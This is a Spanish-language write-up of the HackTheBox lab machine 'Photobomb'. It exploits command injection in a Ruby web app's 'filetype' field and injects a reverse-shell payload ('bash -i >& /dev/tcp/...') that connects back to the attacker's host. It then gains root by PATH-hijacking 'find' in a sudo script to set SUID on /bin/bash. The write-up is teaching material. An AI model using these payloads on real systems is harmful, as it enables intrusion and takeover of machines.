Inicio Writeup Photobomb HTB
Entrada
Cancelar
Preview Image

Writeup Photobomb HTB

La máquina photobomb cuenta con un servicio web en el cual hay un panel de autenticación básico, en él podremos registrarnos gracias a unas credenciales que están en la propia web. Después de haber ingresado, tendremos que analizar las peticiones que se envían. Encontraremos una vulnerabilidad de CI (Command Injection) porque no se está sanitizando bien las entradas; con lo cual, podremos acceder al usuario sin privilegios del sistema. En la escalada de privilegios tendremos un archivo que podemos ejecutar con permisos de superusuario, y haciendo un secuestro de un binario, nos convertiremos en el usuario root.

Índice

IP10.10.11.182
OSLinux
DificultadFácil
CreadorNauten

Herramientas y recursos empleados

  • Herramientas
    • nmap
    • whatweb
    • BurpSuite
    • TShark

Enumeración

Comenzamos realizando un escaneo con nmap a la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# nmap -sCV -Pn -n -oN scope.txt 10.10.11.182
Nmap scan report for 10.10.11.182
Host is up (0.094s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 e2:24:73:bb:fb:df:5c:b5:20:b6:68:76:74:8a:b5:8d (RSA)
|   256 04:e3:ac:6e:18:4e:1b:7e:ff:ac:4f:e3:9d:d2:1b:ae (ECDSA)
|_  256 20:e0:5d:8c:ba:71:f0:8c:3a:18:19:f2:40:11:d2:9e (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Como no contamos con credenciales para conectarnos por SSH (puerto 22), vamos a enumerar el servicio que corre por el puerto 80 (HTTP). Vemos que hay un redireccionamiento al dominio photobomb así que agregamos este subdominio con la extensión (.htb) al /etc/hosts con su respectiva IP.

Ahora usamos la herramienta whatweb para tener un poco más de información de la web:

1
2
❯ whatweb http://photobomb.htb
[200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux] nginx/1.18.0 (Ubuntu), IP[10.10.11.182], Script Title[Photobomb],UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

No hay nada relevante además de saber que el servidor es nginx ejecutándose en un sistema operativo Ubuntu. Veamos qué nos encontramos en la página:

Web photobomb

“click here!” nos lleva a un panel convencional de inicio de sesión: Web photobomb

Antes de aplicar fuerza bruta a las rutas o subdominios, revisemos el código fuente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
  <script src="photobomb.js"></script>
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p>
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
      <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article>
  </div>
</body>
</html>

Vemos un archivo javascript llamado “photobomb.js”. Veamos qué contiene:

1
2
3
4
5
6
7
function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

Hay una función la cual “pre-propula” las credenciales para el soporte técnico en la página. La función busca una cookie llamada “isPhotoBombTechSupport” y si existe, establece un atributo “href” al elemento con clase “creds” con la URL. La función se ejecuta cuando la página haya terminado de cargar. Y bueno, tiene credenciales, así que probamos en el panel de autenticación básico y vemos lo siguiente: Web photobomb

Si probamos las credenciales por SSH no tenemos acceso, no sería tan fácil después de todo :/

Como no sabemos el tipo de tecnología que se está empleando, podemos aprovecharnos de los errores que el servidor retorne. En este caso he apuntado al archivo “index.php” (muy común en aplicativos PHP), y aparece el siguiente error:

Web photobomb Con esto podemos deducir que se está empleando ruby para el aplicativo web.

Revisando el código fuente en esta ruta de la web, vemos que se hace una petición por POST:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <form id="photo-form" action="/printer" method="post">
      <h3>Select an image</h3>
      <fieldset id="image-wrapper">
      <input type="radio" name="photo" value="voicu-apostol-MWER49YaD-M-unsplash.jpg" id="voicu-apostol-MWER49YaD-M-unsplash.jpg" checked="checked" /><label for="voicu-apostol-MWER49YaD-M-unsplash.jpg" style="background-image: url(ui_images/voicu-apostol-MWER49YaD-M-unsplash.jpg)"></label><input type="radio" name="photo" value="masaaki-komori-NYFaNoiPf7A-unsplash.jpg" id="masaaki-komori-NYFaNoiPf7A-unsplash.jpg"/><label for="masaaki-komori-NYFaNoiPf7A-unsplash.jpg" style="background-image: url(ui_images/masaaki-komori-NYFaNoiPf7A-unsplash.jpg)"></label><input type="radio" name="photo" value="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg" id="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg"/><label for="andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg" style="background-image: url(ui_images/andrea-de-santis-uCFuP0Gc_MM-unsplash.jpg)"></label><input type="radio" name="photo" value="tabitha-turner-8hg0xRg5QIs-unsplash.jpg" id="tabitha-turner-8hg0xRg5QIs-unsplash.jpg"/><label for="tabitha-turner-8hg0xRg5QIs-unsplash.jpg" style="background-image: url(ui_images/tabitha-turner-8hg0xRg5QIs-unsplash.jpg)"></label><input type="radio" name="photo" value="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg" id="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg"/><label for="nathaniel-worrell-zK_az6W3xIo-unsplash.jpg" style="background-image: url(ui_images/nathaniel-worrell-zK_az6W3xIo-unsplash.jpg)"></label><input type="radio" name="photo" value="kevin-charit-XZoaTJTnB9U-unsplash.jpg" id="kevin-charit-XZoaTJTnB9U-unsplash.jpg"/><label for="kevin-charit-XZoaTJTnB9U-unsplash.jpg" style="background-image: url(ui_images/kevin-charit-XZoaTJTnB9U-unsplash.jpg)"></label><input type="radio" name="photo" value="calvin-craig-T3M72YMf2oc-unsplash.jpg" id="calvin-craig-T3M72YMf2oc-unsplash.jpg"/><label for="calvin-craig-T3M72YMf2oc-unsplash.jpg" style="background-image: url(ui_images/calvin-craig-T3M72YMf2oc-unsplash.jpg)"></label><input type="radio" name="photo" value="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg" id="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg"/><label for="eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg" style="background-image: url(ui_images/eleanor-brooke-w-TLY0Ym4rM-unsplash.jpg)"></label><input type="radio" name="photo" value="finn-whelen-DTfhsDIWNSg-unsplash.jpg" id="finn-whelen-DTfhsDIWNSg-unsplash.jpg"/><label for="finn-whelen-DTfhsDIWNSg-unsplash.jpg" style="background-image: url(ui_images/finn-whelen-DTfhsDIWNSg-unsplash.jpg)"></label><input type="radio" name="photo" value="almas-salakhov-VK7TCqcZTlw-unsplash.jpg" id="almas-salakhov-VK7TCqcZTlw-unsplash.jpg"/><label for="almas-salakhov-VK7TCqcZTlw-unsplash.jpg" style="background-image: url(ui_images/almas-salakhov-VK7TCqcZTlw-unsplash.jpg)"></label><input type="radio" name="photo" value="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg" id="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg"/><label for="mark-mc-neill-4xWHIpY2QcY-unsplash.jpg" style="background-image: url(ui_images/mark-mc-neill-4xWHIpY2QcY-unsplash.jpg)"></label><input type="radio" name="photo" value="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg" id="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg"/><label for="wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg" style="background-image: url(ui_images/wolfgang-hasselmann-RLEgmd1O7gs-unsplash.jpg)"></label>
      </fieldset>
      <fieldset id="image-settings">
      <label for="filetype">File type</label>
      <select name="filetype" title="JPGs work on most printers, but some people think PNGs give better quality">
        <option value="jpg">JPG</option>
        <option value="png">PNG</option>
        </select>
      <div class="product-list">
        <input type="radio" name="dimensions" value="3000x2000" id="3000x2000" checked="checked"/><label for="3000x2000">3000x2000 - mousemat</label>
        <input type="radio" name="dimensions" value="1000x1500" id="1000x1500"/><label for="1000x1500">1000x1500 - mug</label>
        <input type="radio" name="dimensions" value="600x400" id="600x400"/><label for="600x400">600x400 - phone cover</label>
        <input type="radio" name="dimensions" value="300x200" id="300x200"/><label for="300x200">300x200 - keyring</label>
        <input type="radio" name="dimensions" value="150x100" id="150x100"/><label for="150x100">150x100 - usb stick</label>
        <input type="radio" name="dimensions" value="30x20" id="30x20"/><label for="30x20">30x20 - micro SD card</label>
      </div>
      </fieldset>
      <div class="controls">
        <button type="submit">download photo to print</button>
      </div>
    </form>
  </div>
</body>
</html>

Ejecutando comandos (Command Injection)

Cuando analizamos la petición con Burp Suite, encontramos los parámetros enviados en el formulario visto anteriormente. Hice modificaciones en el valor de filetype, comenzando con un punto y coma para revisar la reacción, lo que sucedió fue que el servidor me devolvió un error 500.

Llegado a cierto punto intenté inyectar un comando de consola, pero no recibía respuesta, así que envié una traza ICMP a mi máquina y esperé a que apareciera con tshark ping+-c+1+10.10.14.73:

tshark

1
2
3
4
5
6
7
8
9
sudo tshark --color -nni any icmp
Capturing on 'any'
 ** (tshark:10598) 00:46:00.576112 [Main MESSAGE] -- Capture started.
 ** (tshark:10598) 00:46:00.576211 [Main MESSAGE] -- File: "/tmp/wireshark_anyXF07V1.pcapng"
    1 0.000000000  10.10.14.73 → 10.10.14.73  ICMP 100 Echo (ping) request  id=0x000a, seq=1/256, ttl=64
    2 0.000022668  10.10.14.73 → 10.10.14.73  ICMP 100 Echo (ping) reply    id=0x000a, seq=1/256, ttl=64 (request in 1)
    3 30.026726631 10.10.11.182 → 10.10.14.73  ICMP 100 Echo (ping) request  id=0x0003, seq=1/256, ttl=63
    4 30.026761095  10.10.14.73 → 10.10.11.182 ICMP 100 Echo (ping) reply    id=0x0003, seq=1/256, ttl=64 (request in 3)
^C4 packets captured

Obtuvimos respuesta de la máquina, así que está ejecutando comandos. Procedemos a conectarnos a la máquina víctima por medio de una shell inversa, en mi caso he usado la siguiente carga útil png;bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.73/4434+0>%261:

Obteniendo una shell como wizard

BurpSuite photobomb petición

1
2
3
4
5
6
nc -nlvp 4434           
Listening on 0.0.0.0 4434
Connection received on 10.10.11.182 50650
bash: cannot set terminal process group (732): Inappropriate ioctl for device
bash: no job control in this shell
wizard@photobomb:~/photobomb$

Obtenemos acceso. Realizamos el tratamiento de la tty y comenzamos a enumerar el sistema como el usuario wizard.

Analizando código ruby de servicio web

Vamos a ver cómo se está ejecutando el aplicativo para revisar el porqué nos permite inyectar comandos, el siguiente código está en el archivo server.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
require 'sinatra'

set :public_folder, 'public'

get '/' do

  html = <<~HTML
<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
  <script src="photobomb.js"></script>
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <article>
      <h2>Welcome to your new Photobomb franchise!</h2>
      <p>You will soon be making an amazing income selling premium photographic gifts.</p>
      <p>This state of-the-art web application is your gateway to this fantastic new life. Your wish is its command.</p>
      <p>To get started, please <a href="/printer" class="creds">click here!</a> (the credentials are in your welcome pack).</p>
      <p>If you have any problems with your printer, please call our Technical Support team on 4 4283 77468377.</p>
    </article>
  </div>
</body>
</html>
HTML

  content_type :html
  return html
end

get '/printer' do

  images = ''
  checked = ' checked="checked" '
  Dir.glob('public/ui_images/*.jpg') do |jpg_filename|
    img_src = jpg_filename.sub('public/', '')
    img_name = jpg_filename.sub('public/ui_images/', '')
    images += '<input type="radio" name="photo" value="' + img_name + '" id="' + img_name + '"' + checked + '/><label for="' + img_name + '" style="background-image: url(' + img_src + ')"></label>'
    checked = ''
  end

  html = <<~HTML
<!DOCTYPE html>
<html>
<head>
  <title>Photobomb</title>
  <link type="text/css" rel="stylesheet" href="styles.css" media="all" />
</head>
<body>
  <div id="container">
    <header>
      <h1><a href="/">Photobomb</a></h1>
    </header>
    <form id="photo-form" action="/printer" method="post">
      <h3>Select an image</h3>
      <fieldset id="image-wrapper">
      #{images}
      </fieldset>
      <fieldset id="image-settings">
      <label for="filetype">File type</label>
      <select name="filetype" title="JPGs work on most printers, but some people think PNGs give better quality">
        <option value="jpg">JPG</option>
        <option value="png">PNG</option>
        </select>
      <div class="product-list">
        <input type="radio" name="dimensions" value="3000x2000" id="3000x2000" checked="checked"/><label for="3000x2000">3000x2000 - mousemat</label>
        <input type="radio" name="dimensions" value="1000x1500" id="1000x1500"/><label for="1000x1500">1000x1500 - mug</label>
        <input type="radio" name="dimensions" value="600x400" id="600x400"/><label for="600x400">600x400 - phone cover</label>
        <input type="radio" name="dimensions" value="300x200" id="300x200"/><label for="300x200">300x200 - keyring</label>
        <input type="radio" name="dimensions" value="150x100" id="150x100"/><label for="150x100">150x100 - usb stick</label>
        <input type="radio" name="dimensions" value="30x20" id="30x20"/><label for="30x20">30x20 - micro SD card</label>
      </div>
      </fieldset>
      <div class="controls">
        <button type="submit">download photo to print</button>
      </div>
    </form>
  </div>
</body>
</html>
HTML

  content_type :html
  return html
end

post '/printer' do
  photo = params[:photo]
  filetype = params[:filetype]
  dimensions = params[:dimensions]

  # handle inputs
  if photo.match(/\.{2}|\//)
    halt 500, 'Invalid photo.'
  end

  if !FileTest.exist?( "source_images/" + photo )
    halt 500, 'Source photo does not exist.'
  end

  if !filetype.match(/^(png|jpg)/)
    halt 500, 'Invalid filetype.'
  end

  if !dimensions.match(/^[0-9]+x[0-9]+$/)
    halt 500, 'Invalid dimensions.'
  end

  case filetype
  when 'png'
    content_type 'image/png'
  when 'jpg'
    content_type 'image/jpeg'
  end

  filename = photo.sub('.jpg', '') + '_' + dimensions + '.' + filetype
  response['Content-Disposition'] = "attachment; filename=#{filename}"

  if !File.exists?('resized_images/' + filename)
    command = 'convert source_images/' + photo + ' -resize ' + dimensions + ' resized_images/' + filename
    puts "Executing: #{command}"
    system(command)
  else
    puts "File already exists."
  end

  if File.exists?('resized_images/' + filename)
    halt 200, {}, IO.read('resized_images/' + filename)
  end

  #message = 'Failed to generate a copy of ' + photo + ' resized to ' + dimensions + ' with filetype ' + filetype
  message = 'Failed to generate a copy of ' + photo
  halt 500, message
end

Vemos que para la validación en el atributo “filetype” debe comenzar ya sea con “jpg” o “png” con una expresión regular. Lo que hay después, lo ignora o no lo valida, por ello podemos inyectar comandos. Además, hay una línea donde ejecuta directamente lo que hay en la cadena del atributo “filetype”, así que usar “;” nos permite inyectar un nuevo comando como parte de la misma línea.

Escalando privilegios

Primeramente ejecutamos el comando sudo -l para revisar los permisos a nivel de sudoers (dentro del archivo sudoers), y así ver si nos han asignado alguno:

1
2
3
4
5
6
7
8
wizard@photobomb:~/photobomb$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh
wizard@photobomb:~/photobomb$

Podemos cambiar las variables de entorno y ejecutar el script cleanup.sh.

Analizando código y secuestro del path

Veamos qué tiene el archivo:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
wizard@photobomb:~/photobomb$ cat /opt/cleanup.sh 
#!/bin/bash
./opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
wizard@photobomb:~/photobomb$

Hay algo que llama bastante la atención, el comando find no tiene ruta absoluta, así que esto nos indica que podemos hacer un secuestro del path y ejecutar comandos arbitrarios como el usuario root (teniendo en cuenta también los permisos asignados):

Nos desplazamos a la ruta tmp, creamos un nuevo archivo llamado find (como el comando), dentro de él escribimos la instrucción que queremos ejecutar una vez se procese el archivo /opt/cleanup.sh llegado al punto de ejecutar el comando find dentro de él. Le damos todos los permisos (777), actualizamos el PATH con nuestra nueva ruta donde estará nuestro archivo malicioso (/tmp) y ejecutamos el comando que nos han asignado a nivel de sudoers como sudo. Es decir /opt/cleanup.sh. Revisamos el UID del binario /bin/bash para asegurarnos que todo ha salido bien. Tiene el permiso s. El documento lo podemos ejecutar como superusuario:

1
2
3
4
5
6
7
wizard@photobomb:~/photobomb$ cd /tmp
wizard@photobomb:/tmp$ echo 'chmod u+s /bin/bash' > find
wizard@photobomb:/tmp$ chmod 777 find
wizard@photobomb:/tmp$ sudo PATH=/tmp:$PATH /opt/cleanup.sh
wizard@photobomb:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Apr 18  2022 /bin/bash
wizard@photobomb:/tmp$

Ejecutamos el binario /bin/bash con el parámetro -p, el cual nos indica que vamos a iniciar sesión interactiva con una shell Bash con permisos de superusuario:

1
2
3
4
wizard@photobomb:/tmp$ /bin/bash -p
bash-5.0\# whoami
root
bash-5.0\#

¡Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.

WriteUp RedPanda HTB

-